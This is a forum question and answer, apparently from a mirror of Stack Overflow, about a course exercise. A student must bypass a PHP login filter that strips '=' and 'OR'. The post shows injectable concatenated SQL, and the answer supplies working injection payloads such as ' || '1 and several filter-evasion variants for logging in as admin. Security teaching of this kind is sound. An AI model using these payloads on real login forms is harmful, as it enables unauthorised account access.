SQL injection with php filtering

2019-02-21 00:28发布

I have to inject a login form for exercise about a computer security course .... I have passed the first level using the simple

' like 1=1--

in the password field, but now in the second level i have to inject again the same login form with the same source code except for the fact that user and pwd are being controlled by a function called lvl2_filter() which i think is part of filters.php and do not accept "=" and "OR"

How can i do it ???

both username and password field cannot be empty

include_once 'filters.php';
include_once 'config.php';
?>

<?php
$user = lvl2_filter($_REQUEST['user']);
$pwd = lvl2_filter($_REQUEST['pwd']);
$token = $_COOKIE["token_sqli2"];

if (empty($token) || !check_token($token)){
echo "<h1>You need to be logged in!</h1><br>";
}

if (!empty($user) && !empty($pwd)) {
$query = "SELECT user_id FROM users WHERE username='$user' and password='$pwd'";
$result = mysqli_query($db,$query);
if ($result && mysqli_num_rows($result)>0) { 
  echo "Hi $user, you are logged in.";
  verify_user($token, $user);
}
else echo "sorry, invalid username or password"; 
}
else { ?>

1条回答
beautiful°
2楼-- · 2019-02-21 01:12

Assuming this definition of lvl2_filter, which basically removes any occurrence of = and or until no longer found, it should still be possible to use the logical OR operation with || instead of OR and a simple expression that evaluates to true like:

username: dummy
password: ' || '1

This would result in:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

For selecting a specific user, one can use the rules of boolean algebra, where x=y = !(x!=y):

username: dummy
password: ' || NOT(username<>'admin') AND '1

This would result in:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Here <> is equivalent to != but doesn’t contain a =.

There are also other operations that one could use ensure username equals admin:

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
查看更多
登录 后发表回答